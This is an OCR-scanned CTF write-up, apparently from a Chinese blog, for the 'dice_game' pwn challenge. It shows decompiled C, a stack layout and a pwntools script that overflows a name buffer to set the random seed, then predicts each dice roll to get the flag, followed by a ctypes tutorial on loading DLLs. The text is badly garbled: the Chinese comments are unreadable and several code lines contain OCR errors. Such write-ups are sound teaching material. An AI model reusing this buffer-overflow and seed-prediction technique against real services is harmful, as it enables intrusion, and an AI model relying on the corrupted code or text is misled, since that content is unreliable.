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e /home/../ £ H /ctf_workstation/Offensive and defensive world/dice_game
./dice_game
Welcome, let me know your name: kalti

Hi, kali. Let's play a game.
Game 1/50

Give me the point(1~6): 2
You lost.

Bye bye!
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__int64 _ fastcall main(int al, char **a2, char
{
char buf[55]; // [rsp+6h] [rbp-56h] BYREF
char v5; // [rsp+37h] [rbp-19h]
ssize_t v6; // [rsp+38h] [rbp-18h]
unsigned int seed[2]; // [rsp+46h] [rbp-16h]
unsigned int v8; // [rsp+4Ch] [rbp-4h]

memset (buf, ©, Ox30uLL);

*(_QWORD *)seed = time(OLL);
printf("Welcome, let me know your name: ");
fflush(stdout);

v6 = read(@, buf, 80uLL);

if ( v6 <= 49 )
buf[ve - 1] = 0;
printf("Hi, %s. Let's play a game.\n", buf);
fflush(stdout);
srand(seed[0]);
v8 = 1;
v5 = 0;
while ( 1 )
{
printf("Game %d/50\n", v8);
v5 = sub_A20();

fflush(stdout);
if (v !1=1)
break;
if (v5)
{
if ( v8 == 50 )
{
sub_B28(buf);
break;
¥
++V8;
¥

¥
puts("Bye bye!");
return OLL;

}

ERi#—Tsub_A20 O

*%33)

// &buf Bl %e
// KB iRt I 21970 4 — H — H H9#$

[/ WU H N X
1/ MEFERIA BEAOX501F FiH-F st 29 F HH B A %5v6
[/ TEAEFG it IR

1/ YBEPIE KL

/! I RERBIEHRI A Zf Lag



__int64 sub A20()

{
__inti16 v1; // [rsp+Ch] [rbp-4h] BYREF
__inti16 v2; // [rsp+Eh] [rbp-2h]

printf("Give me the point(1~6): ");
fflush(stdout);
scanf("%hd", &vl);
if (vl >0 && vl <=6 )
{
v2 = rand() % 6 + 1;
if (vi<=0 || vli>6]||v2<=0|]v2>6)
_assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
if (vl == v2 )
{
puts("You win.");
return 1LL;

}

else

{
puts("You lost.");

return OLL;

}

else

{

puts("Invalid value!");
return OLL;
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int __fastcall sub_B28(const char *al)

{
char s[104]; // [rsp+16h] [rbp-76h] BYREF
FILE *stream; // [rsp+78h] [rbp-8h]
printf("Congrats %s\n", al);
stream = fopen("flag", "r");
fgets(s, 100, stream);
puts(s);
return fflush(stdout);
}
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-0000000VRVRRA50 buf db 55 dup(?)
-0000000L0ERR1S var_19 db ?
-0000000000PRR18 var_18 dg ?
-00000P0PVPVRPR1e seed dd 2 dup(?)
-900000LRRRRRRS3 db ? ; undefined
-900000RRRRRRBT db ? ; undefined
-9 RYR6 db ? ; undefined
-9 S db ? ; undefined
-0000000000L0Re4 var_4 dd ?
+0000000000000RY s db 8 dup(?)
+0000000000000008 nr db 8 dup(?)
+00000000RORA10 CSDN @coke_pwn
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#coding=utf8
from pwn import *

from ctypes import * #-FAcHLERLE, FLIEpython #EBIXICIE & K419 7/

sh = remote('111.200.241.244" ,50045)
libc = cdll.LoadlLibrary("libc.so.6")#-EAFM 5] 2 E

payload = "a" * Ox40 + p64(Q)#FEHiH 1, BEiseed 0
sh.sendlineafter("name: ", payload)
# HIEEBHIS01EENI
res = [1 #HAFH
for i in range(590):
res.append(libc.rand()%6+1)# FALEHLZT
print res
for point in res:
sh.sendlineafter("point(1~6): ", str(point))
sh.interactive()



dil, FhEFEEEFECADLL, £Dynamic Link Libraryff14i5 . DLLE — NG S HEANER, FRAEH K AEBIE
i) BE

Bt ctypesZPython N 2K T RAZISEEERF NI, —eBE L LA FPythons HAtiE S MR E %
B. HTHREIAHEE, FHCICHERE NN TR, #MctypesiH# H FPython5CIC+HHEEHBEZF .

ctypes & Python HISMBER B E. BRMT 5 CRAMBIERE, HFRWFHA DLLEILZEF R WHERZK
BeLLgli Python 78 X0 3 2 B 47 3 3

ctypesSH T cd1l X%, ZEWindowsRZHiE S H T windll Al oled1l M R TRASNSEREE . @i 8 4E X 5t
KB, RTUBANBHNEEEE. cdll BNIERER cdecl HHB N SHBORE, 1 windll FAKE

¥ stdcall A SUARA R PR B, oledll 3% stdcall WHBBUA AKX P HIRE, FHB 2 %8B0 B

& Windows HRESULT #5i% A5, FHFURBOAA RME, B3R XA H—A ostrror B ¥ .

PS: X TFctypess| HH— T KREERIBRE
1 Cef 3% 8 F ML s

CRE/ERAERETRTSHULEMER BB AME, EAdIRMS LMEF RN, DARAHFE—NFE—MEHNE, T
SRBURBOR, wiESASTRESIAANE, FEFUTIUMRARE

gﬁﬁiﬂ =L WMEMSEMm AR L
deall __declspec(dllexport) int _ stdcall fun@number SENERENR, BHEE win32 APIERA I
—stdoall | ¢ n(int a, int b) e m
__declspec(dllexport)int __ cdecl SHMNERENR, AHE RS .
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_cdecl fun(int a, int b) _fun JE——_. CIC++ERIN R AL
__declspec(dllexport)int _ fastcall FHHESRE LR,
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python FRACER Z TR, ctypes@H o —FHLEITER), WK ERREMRASCH, RIEC dIFHHREA R FZ M H
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import ctypes
Objdll = ctypes.windll.LoadlLibrary("dllpath") ##£ /71
Objdll = ctypes.WinDLL("dllpath") ##:/12
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StFcdeclfIC dli

import ctypes
Objdll = ctypes.cdll.LoadlLibrary("dllpath™)
Objdll = ctypes.CDLL("dllpath")



ST HBEHICEE, Bt int add(int a, int b) , WEBATLEBREET, W

import ctypes
Objdll = ctypes.cdll.LoadlLibrary("dllpath")
Objdll = ctypes.CDLL("dllpath")

c = Objdll.all(1,3)
print(c) # 4
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import ctypes
Objdll = ctypes.cdll.LoadlLibrary("dllpath™)
Objdll = ctypes.CDLL("dllpath")
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import ctypes
Objdll = ctypes.cdll.LoadlLibrary("dllpath™)
Objdll = ctypes.CDLL("dllpath")

c = Objdll.all(1,3)
print(c) # 4
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